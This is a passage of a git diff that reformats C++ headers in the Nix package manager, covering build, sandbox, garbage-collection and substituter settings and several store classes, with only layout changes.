true, + "keep-build-log", R"( If set to `true` (the default), Nix will write the build log of a derivation (i.e. the standard output and error of its builder) to @@ -511,7 +564,9 @@ public: {"build-keep-log"}}; Setting compressLog{ - this, true, "compress-build-log", + this, + true, + "compress-build-log", R"( If set to `true` (the default), build logs written to `/nix/var/log/nix/drvs` will be compressed on the fly using bzip2. @@ -520,7 +575,9 @@ public: {"build-compress-log"}}; Setting maxLogSize{ - this, 0, "max-build-log-size", + this, + 0, + "max-build-log-size", R"( This option defines the maximum number of bytes that a builder can write to its stdout/stderr. If the builder exceeds this limit, it’s @@ -528,11 +585,12 @@ public: )", {"build-max-log-size"}}; - Setting pollInterval{this, 5, "build-poll-interval", - "How often (in seconds) to poll for locks."}; + Setting pollInterval{this, 5, "build-poll-interval", "How often (in seconds) to poll for locks."}; Setting gcKeepOutputs{ - this, false, "keep-outputs", + this, + false, + "keep-outputs", R"( If `true`, the garbage collector will keep the outputs of non-garbage derivations. If `false` (default), outputs will be @@ -548,7 +606,9 @@ public: {"gc-keep-outputs"}}; Setting gcKeepDerivations{ - this, true, "keep-derivations", + this, + true, + "keep-derivations", R"( If `true` (default), the garbage collector will keep the derivations from which non-garbage store paths were built. If `false`, they will @@ -564,7 +624,9 @@ public: {"gc-keep-derivations"}}; Setting autoOptimiseStore{ - this, false, "auto-optimise-store", + this, + false, + "auto-optimise-store", R"( If set to `true`, Nix automatically detects files in the store that have identical contents, and replaces them with hard links to @@ -574,7 +636,9 @@ public: )"}; Setting envKeepDerivations{ - this, false, "keep-env-derivations", + this, + false, + "keep-env-derivations", R"( If `false` (default), derivations are not stored in Nix user environments. That is, the derivations of any build-time-only @@ -596,12 +660,13 @@ public: Setting sandboxMode{ this, - #ifdef __linux__ - smEnabled - #else - smDisabled - #endif - , "sandbox", +#ifdef __linux__ + smEnabled +#else + smDisabled +#endif + , + "sandbox", R"( If set to `true`, builds will be performed in a *sandboxed environment*, i.e., they’re isolated from the normal file system @@ -630,7 +695,9 @@ public: {"build-use-chroot", "build-use-sandbox"}}; Setting sandboxPaths{ - this, {}, "sandbox-paths", + this, + {}, + "sandbox-paths", R"( A list of paths bind-mounted into Nix sandbox environments. You can use the syntax `target=source` to mount a path in a different @@ -648,11 +715,14 @@ public: )", {"build-chroot-dirs", "build-sandbox-paths"}}; - Setting sandboxFallback{this, true, "sandbox-fallback", - "Whether to disable sandboxing when the kernel doesn't allow it."}; + Setting sandboxFallback{ + this, true, "sandbox-fallback", "Whether to disable sandboxing when the kernel doesn't allow it."}; #ifndef _WIN32 - Setting requireDropSupplementaryGroups{this, isRootUser(), "require-drop-supplementary-groups", + Setting requireDropSupplementaryGroups{ + this, + isRootUser(), + "require-drop-supplementary-groups", R"( Following the principle of least privilege, Nix will attempt to drop supplementary groups when building with sandboxing. @@ -673,7 +743,9 @@ public: #ifdef __linux__ Setting sandboxShmSize{ - this, "50%", "sandbox-dev-shm-size", + this, + "50%", + "sandbox-dev-shm-size", R"( *Linux only* @@ -683,7 +755,10 @@ public: is `50%`. )"}; - Setting sandboxBuildDir{this, "/build", "sandbox-build-dir", + Setting sandboxBuildDir{ + this, + "/build", + "sandbox-build-dir", R"( *Linux only* @@ -693,7 +768,10 @@ public: )"}; #endif - Setting> buildDir{this, std::nullopt, "build-dir", + Setting> buildDir{ + this, + std::nullopt, + "build-dir", R"( The directory on the host, in which derivations' temporary build directories are created. @@ -705,16 +783,24 @@ public: If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir). )"}; - Setting allowedImpureHostPrefixes{this, {}, "allowed-impure-host-deps", + Setting allowedImpureHostPrefixes{ + this, + {}, + "allowed-impure-host-deps", "Which prefixes to allow derivations to ask for access to (primarily for Darwin)."}; #ifdef __APPLE__ - Setting darwinLogSandboxViolations{this, false, "darwin-log-sandbox-violations", + Setting darwinLogSandboxViolations{ + this, + false, + "darwin-log-sandbox-violations", "Whether to log Darwin sandbox access violations to the system log."}; #endif Setting runDiffHook{ - this, false, "run-diff-hook", + this, + false, + "run-diff-hook", R"( If true, enable the execution of the `diff-hook` program. @@ -724,7 +810,9 @@ public: )"}; OptionalPathSetting diffHook{ - this, std::nullopt, "diff-hook", + this, + std::nullopt, + "diff-hook", R"( Absolute path to an executable capable of diffing build results. The hook is executed if `run-diff-hook` is true, and the @@ -773,7 +861,9 @@ public: {"binary-cache-public-keys"}}; Setting secretKeyFiles{ - this, {}, "secret-key-files", + this, + {}, + "secret-key-files", R"( A whitespace-separated list of files containing secret (private) keys. These are used to sign locally-built paths. They can be @@ -783,7 +873,9 @@ public: )"}; Setting tarballTtl{ - this, 60 * 60, "tarball-ttl", + this, + 60 * 60, + "tarball-ttl", R"( The number of seconds a downloaded tarball is considered fresh. If the cached tarball is stale, Nix will check whether it is still up @@ -800,7 +892,9 @@ public: )"}; Setting requireSigs{ - this, true, "require-sigs", + this, + true, + "require-sigs", R"( If set to `true` (the default), any non-content-addressed path added or copied to the Nix store (e.g. when substituting from a binary @@ -909,7 +1003,9 @@ public: {"binary-caches"}}; Setting trustedSubstituters{ - this, {}, "trusted-substituters", + this, + {}, + "trusted-substituters", R"( A list of [Nix store URLs](@docroot@/store/types/index.md#store-url-format), separated by whitespace. These are not used by default, but users of the Nix daemon can enable them by specifying [`substituters`](#conf-substituters). @@ -919,7 +1015,9 @@ public: {"trusted-binary-caches"}}; Setting ttlNegativeNarInfoCache{ - this, 3600, "narinfo-cache-negative-ttl", + this, + 3600, + "narinfo-cache-negative-ttl", R"( The TTL in seconds for negative lookups. If a store path is queried from a [substituter](#conf-substituters) but was not found, there will be a negative lookup cached in the local disk cache database for the specified duration. @@ -935,7 +1033,9 @@ public: )"}; Setting ttlPositiveNarInfoCache{ - this, 30 * 24 * 3600, "narinfo-cache-positive-ttl", + this, + 30 * 24 * 3600, + "narinfo-cache-positive-ttl", R"( The TTL in seconds for positive lookups. If a store path is queried from a substituter, the result of the query will be cached in the @@ -947,11 +1047,13 @@ public: mismatch if the build isn't reproducible. )"}; - Setting printMissing{this, true, "print-missing", - "Whether to print what paths need to be built or downloaded."}; + Setting printMissing{ + this, true, "print-missing", "Whether to print what paths need to be built or downloaded."}; Setting preBuildHook{ - this, "", "pre-build-hook", + this, + "", + "pre-build-hook", R"( If set, the path to a program that can set extra derivation-specific settings for this system. This is used for settings that can't be @@ -970,7 +1072,9 @@ public: )"}; Setting postBuildHook{ - this, "", "post-build-hook", + this, + "", + "post-build-hook", R"( Optional. The path to a program to execute after each build. @@ -1014,15 +1118,19 @@ public: /nix/store/xfghy8ixrhz3kyy6p724iv3cxji088dx-bash-4.4-p23`. )"}; - Setting downloadSpeed { - this, 0, "download-speed", + Setting downloadSpeed{ + this, + 0, + "download-speed", R"( Specify the maximum transfer rate in kilobytes per second you want Nix to use for downloads. )"}; Setting netrcFile{ - this, fmt("%s/%s", nixConfDir, "netrc"), "netrc-file", + this, + fmt("%s/%s", nixConfDir, "netrc"), + "netrc-file", R"( If set to an absolute path to a `netrc` file, Nix will use the HTTP authentication credentials in this file when trying to download from @@ -1047,7 +1155,9 @@ public: )"}; Setting caFile{ - this, getDefaultSSLCertFile(), "ssl-cert-file", + this, + getDefaultSSLCertFile(), + "ssl-cert-file", R"( The path of a file containing CA certificates used to authenticate `https://` downloads. Nix by default will use @@ -1068,7 +1178,9 @@ public: #ifdef __linux__ Setting filterSyscalls{ - this, true, "filter-syscalls", + this, + true, + "filter-syscalls", R"( Whether to prevent certain dangerous system calls, such as creation of setuid/setgid files or adding ACLs or extended @@ -1077,7 +1189,9 @@ public: )"}; Setting allowNewPrivileges{ - this, false, "allow-new-privileges", + this, + false, + "allow-new-privileges", R"( (Linux-specific.) By default, builders on Linux cannot acquire new privileges by calling setuid/setgid programs or programs that have @@ -1093,7 +1207,9 @@ public: #if NIX_SUPPORT_ACL Setting ignoredAcls{ - this, {"security.selinux", "system.nfs4_acl", "security.csm"}, "ignored-acls", + this, + {"security.selinux", "system.nfs4_acl", "security.csm"}, + "ignored-acls", R"( A list of ACLs that should be ignored, normally Nix attempts to remove all ACLs from files and directories in the Nix store, but @@ -1103,7 +1219,9 @@ public: #endif Setting hashedMirrors{ - this, {}, "hashed-mirrors", + this, + {}, + "hashed-mirrors", R"( A list of web servers used by `builtins.fetchurl` to obtain files by hash. Given a hash algorithm *ha* and a base-16 hash *h*, Nix will try to @@ -1125,7 +1243,9 @@ public: )"}; Setting minFree{ - this, 0, "min-free", + this, + 0, + "min-free", R"( When free disk space in `/nix/store` drops below `min-free` during a build, Nix performs a garbage-collection until `max-free` bytes are @@ -1133,25 +1253,28 @@ public: disables this feature. )"}; - Setting maxFree{ - // n.b. this is deliberately int64 max rather than uint64 max because - // this goes through the Nix language JSON parser and thus needs to be - // representable in Nix language integers. - this, std::numeric_limits::max(), "max-free", - R"( + Setting maxFree{// n.b. this is deliberately int64 max rather than uint64 max because + // this goes through the Nix language JSON parser and thus needs to be + // representable in Nix language integers. + this, + std::numeric_limits::max(), + "max-free", + R"( When a garbage collection is triggered by the `min-free` option, it stops as soon as `max-free` bytes are available. The default is infinity (i.e. delete all garbage). )"}; - Setting minFreeCheckInterval{this, 5, "min-free-check-interval", - "Number of seconds between checking free disk space."}; + Setting minFreeCheckInterval{ + this, 5, "min-free-check-interval", "Number of seconds between checking free disk space."}; - Setting narBufferSize{this, 32 * 1024 * 1024, "nar-buffer-size", - "Maximum size of NARs before spilling them to disk."}; + Setting narBufferSize{ + this, 32 * 1024 * 1024, "nar-buffer-size", "Maximum size of NARs before spilling them to disk."}; Setting allowSymlinkedStore{ - this, false, "allow-symlinked-store", + this, + false, + "allow-symlinked-store", R"( If set to `true`, Nix will stop complaining if the store directory (typically /nix/store) contains symlink components. @@ -1164,7 +1287,9 @@ public: )"}; Setting useXDGBaseDirectories{ - this, false, "use-xdg-base-directories", + this, + false, + "use-xdg-base-directories", R"( If set to `true`, Nix will conform to the [XDG Base Directory Specification] for files in `$HOME`. The environment variables used to implement this are documented in the [Environment Variables section](@docroot@/command-ref/env-common.md). @@ -1193,10 +1318,12 @@ public: mv $HOME/.nix-defexpr $nix_state_home/defexpr mv $HOME/.nix-channels $nix_state_home/channels ``` - )" - }; + )"}; - Setting impureEnv {this, {}, "impure-env", + Setting impureEnv{ + this, + {}, + "impure-env", R"( A list of items, each in the format of: @@ -1210,10 +1337,9 @@ public: fixed-output derivations and in a multi-user Nix installation, or setting private access tokens when fetching a private repository. )", - {}, // aliases + {}, // aliases true, // document default - Xp::ConfigurableImpureEnv - }; + Xp::ConfigurableImpureEnv}; Setting upgradeNixStorePathUrl{ this, @@ -1222,8 +1348,7 @@ public: R"( Used by `nix upgrade-nix`, the URL of the file that contains the store paths of the latest Nix release. - )" - }; + )"}; Setting warnLargePathThreshold{ this, @@ -1234,11 +1359,9 @@ public: (as determined by its NAR serialisation). Default is 0, which disables the warning. Set it to 1 to warn on all paths. - )" - }; + )"}; }; - // FIXME: don't use a global variable. extern Settings settings; diff --git a/src/libstore/include/nix/store/legacy-ssh-store.hh b/src/libstore/include/nix/store/legacy-ssh-store.hh index a1fbf3f1e..586089337 100644 --- a/src/libstore/include/nix/store/legacy-ssh-store.hh +++ b/src/libstore/include/nix/store/legacy-ssh-store.hh @@ -14,16 +14,12 @@ struct LegacySSHStoreConfig : virtual CommonSSHStoreConfig { using CommonSSHStoreConfig::CommonSSHStoreConfig; - LegacySSHStoreConfig( - std::string_view scheme, - std::string_view authority, - const Params & params); + LegacySSHStoreConfig(std::string_view scheme, std::string_view authority, const Params & params); - const Setting remoteProgram{this, {"nix-store"}, "remote-program", - "Path to the `nix-store` executable on the remote machine."}; + const Setting remoteProgram{ + this, {"nix-store"}, "remote-program", "Path to the `nix-store` executable on the remote machine."}; - const Setting maxConnections{this, 1, "max-connections", - "Maximum number of concurrent SSH connections."}; + const Setting maxConnections{this, 1, "max-connections", "Maximum number of concurrent SSH connections."}; /** * Hack for hydra @@ -35,9 +31,15 @@ struct LegacySSHStoreConfig : virtual CommonSSHStoreConfig */ std::optional connPipeSize; - const std::string name() override { return "SSH Store"; } + const std::string name() override + { + return "SSH Store"; + } - static std::set uriSchemes() { return {"ssh"}; } + static std::set uriSchemes() + { + return {"ssh"}; + } std::string doc() override; }; @@ -59,23 +61,18 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor SSHMaster master; - LegacySSHStore( - std::string_view scheme, - std::string_view host, - const Params & params); + LegacySSHStore(std::string_view scheme, std::string_view host, const Params & params); ref openConnection(); std::string getUri() override; - void queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept override; + void queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept override; - std::map queryPathInfosUncached( - const StorePathSet & paths); + std::map queryPathInfosUncached(const StorePathSet & paths); - void addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) override; + void addToStore(const ValidPathInfo & info, Source & source, RepairFlag repair, CheckSigsFlag checkSigs) override; void narFromPath(const StorePath & path, Sink & sink) override; @@ -90,7 +87,9 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor void narFromPath(const StorePath & path, std::function fun); std::optional queryPathFromHashPart(const std::string & hashPart) override - { unsupported("queryPathFromHashPart"); } + { + unsupported("queryPathFromHashPart"); + } StorePath addToStore( std::string_view name, @@ -100,7 +99,9 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor const StorePathSet & references, PathFilter & filter, RepairFlag repair) override - { unsupported("addToStore"); } + { + unsupported("addToStore"); + } virtual StorePath addToStoreFromDump( Source & dump, @@ -110,12 +111,13 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) override - { unsupported("addToStore"); } + { + unsupported("addToStore"); + } public: - BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, - BuildMode buildMode) override; + BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, BuildMode buildMode) override; /** * Note, the returned function must only be called once, or we'll @@ -124,16 +126,20 @@ public: * @todo Use C++23 `std::move_only_function`. */ std::function buildDerivationAsync( - const StorePath & drvPath, const BasicDerivation & drv, - const ServeProto::BuildOptions & options); + const StorePath & drvPath, const BasicDerivation & drv, const ServeProto::BuildOptions & options); - void buildPaths(const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) override; + void buildPaths( + const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) override; void ensurePath(const StorePath & path) override - { unsupported("ensurePath"); } + { + unsupported("ensurePath"); + } virtual ref getFSAccessor(bool requireValidPath) override - { unsupported("getFSAccessor"); } + { + unsupported("getFSAccessor"); + } /** * The default instance would schedule the work on the client side, but @@ -144,14 +150,18 @@ public: * without it being a breaking change. */ void repairPath(const StorePath & path) override - { unsupported("repairPath"); } + { + unsupported("repairPath"); + } - void computeFSClosure(const StorePathSet & paths, - StorePathSet & out, bool flipDirection = false, - bool includeOutputs = false, bool includeDerivers = false) override; + void computeFSClosure( + const StorePathSet & paths, + StorePathSet & out, + bool flipDirection = false, + bool includeOutputs = false, + bool includeDerivers = false) override; - StorePathSet queryValidPaths(const StorePathSet & paths, - SubstituteFlag maybeSubstitute = NoSubstitute) override; + StorePathSet queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute = NoSubstitute) override; /** * Custom variation that atomically creates temp locks on the remote @@ -161,9 +171,7 @@ public: * garbage-collects paths that are already there. Optionally, ask * the remote host to substitute missing paths. */ - StorePathSet queryValidPaths(const StorePathSet & paths, - bool lock, - SubstituteFlag maybeSubstitute = NoSubstitute); + StorePathSet queryValidPaths(const StorePathSet & paths, bool lock, SubstituteFlag maybeSubstitute = NoSubstitute); /** * Just exists because this is exactly what Hydra was doing, and we @@ -175,7 +183,8 @@ public: unsigned int getProtocol() override; - struct ConnectionStats { + struct ConnectionStats + { size_t bytesReceived, bytesSent; }; @@ -192,10 +201,12 @@ public: return std::nullopt; } - void queryRealisationUncached(const DrvOutput &, - Callback> callback) noexcept override + void + queryRealisationUncached(const DrvOutput &, Callback> callback) noexcept override // TODO: Implement - { unsupported("queryRealisation"); } + { + unsupported("queryRealisation"); + } }; } diff --git a/src/libstore/include/nix/store/length-prefixed-protocol-helper.hh b/src/libstore/include/nix/store/length-prefixed-protocol-helper.hh index 664841aae..ad99b1fd8 100644 --- a/src/libstore/include/nix/store/length-prefixed-protocol-helper.hh +++ b/src/libstore/include/nix/store/length-prefixed-protocol-helper.hh @@ -30,23 +30,24 @@ struct StoreDirConfig; template struct LengthPrefixedProtoHelper; -#define LENGTH_PREFIXED_PROTO_HELPER(Inner, T) \ - struct LengthPrefixedProtoHelper< Inner, T > \ - { \ - static T read(const StoreDirConfig & store, typename Inner::ReadConn conn); \ +#define LENGTH_PREFIXED_PROTO_HELPER(Inner, T) \ + struct LengthPrefixedProtoHelper \ + { \ + static T read(const StoreDirConfig & store, typename Inner::ReadConn conn); \ static void write(const StoreDirConfig & store, typename Inner::WriteConn conn, const T & str); \ - private: \ - /*! \ - * Read this as simply `using S = Inner::Serialise;`. \ - * \ - * It would be nice to use that directly, but C++ doesn't seem to allow \ - * it. The `typename` keyword needed to refer to `Inner` seems to greedy \ - * (low precedence), and then C++ complains that `Serialise` is not a \ - * type parameter but a real type. \ - * \ - * Making this `S` alias seems to be the only way to avoid these issues. \ - */ \ - template using S = typename Inner::template Serialise; \ + private: \ + /*! \ + * Read this as simply `using S = Inner::Serialise;`. \ + * \ + * It would be nice to use that directly, but C++ doesn't seem to allow \ + * it. The `typename` keyword needed to refer to `Inner` seems to greedy \ + * (low precedence), and then C++ complains that `Serialise` is not a \ + * type parameter but a real type. \ + * \ + * Making this `S` alias seems to be the only way to avoid these issues. \ + */ \ + template \ + using S = typename Inner::template Serialise; \ } template @@ -64,8 +65,7 @@ LENGTH_PREFIXED_PROTO_HELPER(Inner, LENGTH_PREFIXED_PROTO_HELPER_X); template std::vector -LengthPrefixedProtoHelper>::read( - const StoreDirConfig & store, typename Inner::ReadConn conn) +LengthPrefixedProtoHelper>::read(const StoreDirConfig & store, typename Inner::ReadConn conn) { std::vector resSet; auto size = readNum(conn.from); @@ -76,8 +76,7 @@ LengthPrefixedProtoHelper>::read( } template -void -LengthPrefixedProtoHelper>::write( +void LengthPrefixedProtoHelper>::write( const StoreDirConfig & store, typename Inner::WriteConn conn, const std::vector & resSet) { conn.to << resSet.size(); @@ -88,8 +87,7 @@ LengthPrefixedProtoHelper>::write( template std::set -LengthPrefixedProtoHelper>::read( - const StoreDirConfig & store, typename Inner::ReadConn conn) +LengthPrefixedProtoHelper>::read(const StoreDirConfig & store, typename Inner::ReadConn conn) { std::set resSet; auto size = readNum(conn.from); @@ -100,8 +98,7 @@ LengthPrefixedProtoHelper>::read( } template -void -LengthPrefixedProtoHelper>::write( +void LengthPrefixedProtoHelper>::write( const StoreDirConfig & store, typename Inner::WriteConn conn, const std::set & resSet) { conn.to << resSet.size(); @@ -112,8 +109,7 @@ LengthPrefixedProtoHelper>::write( template std::map -LengthPrefixedProtoHelper>::read( - const StoreDirConfig & store, typename Inner::ReadConn conn) +LengthPrefixedProtoHelper>::read(const StoreDirConfig & store, typename Inner::ReadConn conn) { std::map resMap; auto size = readNum(conn.from); @@ -126,8 +122,7 @@ LengthPrefixedProtoHelper>::read( } template -void -LengthPrefixedProtoHelper>::write( +void LengthPrefixedProtoHelper>::write( const StoreDirConfig & store, typename Inner::WriteConn conn, const std::map & resMap) { conn.to << resMap.size(); @@ -139,22 +134,18 @@ LengthPrefixedProtoHelper>::write( template std::tuple -LengthPrefixedProtoHelper>::read( - const StoreDirConfig & store, typename Inner::ReadConn conn) +LengthPrefixedProtoHelper>::read(const StoreDirConfig & store, typename Inner::ReadConn conn) { - return std::tuple { + return std::tuple{ S::read(store, conn)..., }; } template -void -LengthPrefixedProtoHelper>::write( +void LengthPrefixedProtoHelper>::write( const StoreDirConfig & store, typename Inner::WriteConn conn, const std::tuple & res) { - std::apply([&](const Us &... args) { - (S::write(store, conn, args), ...); - }, res); + std::apply([&](const Us &... args) { (S::write(store, conn, args), ...); }, res); } } diff --git a/src/libstore/include/nix/store/local-fs-store.hh b/src/libstore/include/nix/store/local-fs-store.hh index 6d5afcb08..7cd8675de 100644 --- a/src/libstore/include/nix/store/local-fs-store.hh +++ b/src/libstore/include/nix/store/local-fs-store.hh @@ -20,29 +20,28 @@ struct LocalFSStoreConfig : virtual StoreConfig */ LocalFSStoreConfig(PathView path, const Params & params); - const OptionalPathSetting rootDir{this, std::nullopt, - "root", - "Directory prefixed to all other paths."}; + const OptionalPathSetting rootDir{this, std::nullopt, "root", "Directory prefixed to all other paths."}; - const PathSetting stateDir{this, + const PathSetting stateDir{ + this, rootDir.get() ? *rootDir.get() + "/nix/var/nix" : settings.nixStateDir, "state", "Directory where Nix will store state."}; - const PathSetting logDir{this, + const PathSetting logDir{ + this, rootDir.get() ? *rootDir.get() + "/nix/var/log/nix" : settings.nixLogDir, "log", "directory where Nix will store log files."}; - const PathSetting realStoreDir{this, - rootDir.get() ? *rootDir.get() + "/nix/store" : storeDir, "real", - "Physical path of the Nix store."}; + const PathSetting realStoreDir{ + this, rootDir.get() ? *rootDir.get() + "/nix/store" : storeDir, "real", "Physical path of the Nix store."}; }; class LocalFSStore : public virtual LocalFSStoreConfig, - public virtual Store, - public virtual GcStore, - public virtual LogStore + public virtual Store, + public virtual GcStore, + public virtual LogStore { public: inline static std::string operationName = "Local Filesystem Store"; @@ -70,7 +69,10 @@ public: */ virtual Path addPermRoot(const StorePath & storePath, const Path & gcRoot) = 0; - virtual Path getRealStoreDir() { return realStoreDir; } + virtual Path getRealStoreDir() + { + return realStoreDir; + } Path toRealPath(const Path & storePath) override { @@ -79,7 +81,6 @@ public: } std::optional getBuildLogExact(const StorePath & path) override; - }; } diff --git a/src/libstore/include/nix/store/local-overlay-store.hh b/src/libstore/include/nix/store/local-overlay-store.hh index 825214cb6..a0626988a 100644 --- a/src/libstore/include/nix/store/local-overlay-store.hh +++ b/src/libstore/include/nix/store/local-overlay-store.hh @@ -9,7 +9,8 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig { LocalOverlayStoreConfig(const StringMap & params) : LocalOverlayStoreConfig("local-overlay", "", params) - { } + { + } LocalOverlayStoreConfig(std::string_view scheme, PathView path, const Params & params) : StoreConfig(params) @@ -18,7 +19,10 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig { } - const Setting lowerStoreUri{(StoreConfig*) this, "", "lower-store", + const Setting lowerStoreUri{ + (StoreConfig *) this, + "", + "lower-store", R"( [Store URL](@docroot@/command-ref/new-cli/nix3-help-stores.md#store-url-format) for the lower store. The default is `auto` (i.e. use the Nix daemon or `/nix/store` directly). @@ -27,12 +31,18 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig Must be used as OverlayFS lower layer for this store's store dir. )"}; - const PathSetting upperLayer{(StoreConfig*) this, "", "upper-layer", + const PathSetting upperLayer{ + (StoreConfig *) this, + "", + "upper-layer", R"( Directory containing the OverlayFS upper layer for this store's store dir. )"}; - Setting checkMount{(StoreConfig*) this, true, "check-mount", + Setting checkMount{ + (StoreConfig *) this, + true, + "check-mount", R"( Check that the overlay filesystem is correctly mounted. @@ -43,7 +53,10 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig default, but can be disabled if needed. )"}; - const PathSetting remountHook{(StoreConfig*) this, "", "remount-hook", + const PathSetting remountHook{ + (StoreConfig *) this, + "", + "remount-hook", R"( Script or other executable to run when overlay filesystem needs remounting. @@ -56,7 +69,10 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig The store directory is passed as an argument to the invoked executable. )"}; - const std::string name() override { return "Experimental Local Overlay Store"; } + const std::string name() override + { + return "Experimental Local Overlay Store"; + } std::optional experimentalFeature() const override { @@ -65,7 +81,7 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig static std::set uriSchemes() { - return { "local-overlay" }; + return {"local-overlay"}; } std::string doc() override; @@ -122,8 +138,8 @@ private: /** * Check lower store if upper DB does not have. */ - void queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept override; + void queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept override; /** * Check lower store if upper DB does not have. @@ -157,8 +173,8 @@ private: /** * Check lower store if upper DB does not have. */ - void queryRealisationUncached(const DrvOutput&, - Callback> callback) noexcept override; + void queryRealisationUncached( + const DrvOutput &, Callback> callback) noexcept override; /** * Call `remountIfNecessary` after collecting garbage normally. diff --git a/src/libstore/include/nix/store/local-store.hh b/src/libstore/include/nix/store/local-store.hh index a9109b43d..b8740cb63 100644 --- a/src/libstore/include/nix/store/local-store.hh +++ b/src/libstore/include/nix/store/local-store.hh @@ -13,10 +13,8 @@ #include #include - namespace nix { - /** * Nix store and database schema version. * @@ -27,7 +25,6 @@ namespace nix { */ const int nixSchemaVersion = 10; - struct OptimiseStats { unsigned long filesLinked = 0; @@ -38,17 +35,16 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig { using LocalFSStoreConfig::LocalFSStoreConfig; - LocalStoreConfig( - std::string_view scheme, - std::string_view authority, - const Params & params); + LocalStoreConfig(std::string_view scheme, std::string_view authority, const Params & params); - Setting requireSigs{this, + Setting requireSigs{ + this, settings.requireSigs, "require-sigs", "Whether store paths copied into this store should have a trusted signature."}; - Setting readOnly{this, + Setting readOnly{ + this, false, "read-only", R"( @@ -65,17 +61,20 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig > While the filesystem the database resides on might appear to be read-only, consider whether another user or system might have write access to it. )"}; - const std::string name() override { return "Local Store"; } + const std::string name() override + { + return "Local Store"; + } static std::set uriSchemes() - { return {"local"}; } + { + return {"local"}; + } std::string doc() override; }; -class LocalStore : public virtual LocalStoreConfig - , public virtual IndirectRootStore - , public virtual GcStore +class LocalStore : public virtual LocalStoreConfig, public virtual IndirectRootStore, public virtual GcStore { private: @@ -145,10 +144,7 @@ public: * necessary. */ LocalStore(const Params & params); - LocalStore( - std::string_view scheme, - PathView path, - const Params & params); + LocalStore(std::string_view scheme, PathView path, const Params & params); ~LocalStore(); @@ -160,29 +156,28 @@ public: bool isValidPathUncached(const StorePath & path) override; - StorePathSet queryValidPaths(const StorePathSet & paths, - SubstituteFlag maybeSubstitute = NoSubstitute) override; + StorePathSet queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute = NoSubstitute) override; StorePathSet queryAllValidPaths() override; - void queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept override; + void queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept override; void queryReferrers(const StorePath & path, StorePathSet & referrers) override; StorePathSet queryValidDerivers(const StorePath & path) override; - std::map> queryStaticPartialDerivationOutputMap(const StorePath & path) override; + std::map> + queryStaticPartialDerivationOutputMap(const StorePath & path) override; std::optional queryPathFromHashPart(const std::string & hashPart) override; StorePathSet querySubstitutablePaths(const StorePathSet & paths) override; bool pathInfoIsUntrusted(const ValidPathInfo &) override; - bool realisationIsUntrusted(const Realisation & ) override; + bool realisationIsUntrusted(const Realisation &) override; - void addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) override; + void addToStore(const ValidPathInfo & info, Source & source, RepairFlag repair, CheckSigsFlag checkSigs) override; StorePath addToStoreFromDump( Source & dump, @@ -276,7 +271,8 @@ protected: /** * Result of `verifyAllValidPaths` */ - struct VerificationResult { + struct VerificationResult + { /** * Whether any errors were encountered */ @@ -329,22 +325,24 @@ public: void registerDrvOutput(const Realisation & info) override; void registerDrvOutput(const Realisation & info, CheckSigsFlag checkSigs) override; void cacheDrvOutputMapping( - State & state, - const uint64_t deriver, - const std::string & outputName, - const StorePath & output); + State & state, const uint64_t deriver, const std::string & outputName, const StorePath & output); std::optional queryRealisation_(State & state, const DrvOutput & id); std::optional> queryRealisationCore_(State & state, const DrvOutput & id); - void queryRealisationUncached(const DrvOutput&, - Callback> callback) noexcept override; + void queryRealisationUncached( + const DrvOutput &, Callback> callback) noexcept override; std::optional getVersion() override; protected: - void verifyPath(const StorePath & path, std::function existsInStoreDir, - StorePathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors); + void verifyPath( + const StorePath & path, + std::function existsInStoreDir, + StorePathSet & done, + StorePathSet & validPaths, + RepairFlag repair, + bool & errors); private: @@ -390,7 +388,8 @@ private: InodeHash loadInodeHash(); Strings readDirectoryIgnoringInodes(const Path & path, const InodeHash & inodeHash); - void optimisePath_(Activity * act, OptimiseStats & stats, const Path & path, InodeHash & inodeHash, RepairFlag repair); + void + optimisePath_(Activity * act, OptimiseStats & stats, const Path & path, InodeHash & inodeHash, RepairFlag repair); // Internal versions that are not wrapped in retry_sqlite. bool isValidPath_(State & state, const StorePath & path); diff --git a/src/libstore/include/nix/store/log-store.hh b/src/libstore/include/nix/store/log-store.hh index fc12b0c47..bddb7a318 100644 --- a/src/libstore/include/nix/store/log-store.hh +++ b/src/libstore/include/nix/store/log-store.hh @@ -3,7 +3,6 @@ #include "nix/store/store-api.hh" - namespace nix { struct LogStore : public virtual Store diff --git a/src/libstore/include/nix/store/machines.hh b/src/libstore/include/nix/store/machines.hh index f07d6b63b..bd585fa92 100644 --- a/src/libstore/include/nix/store/machines.hh +++ b/src/libstore/include/nix/store/machines.hh @@ -12,7 +12,8 @@ struct Machine; typedef std::vector Machines; -struct Machine { +struct Machine +{ const StoreReference storeUri; const std::set systemTypes; diff --git 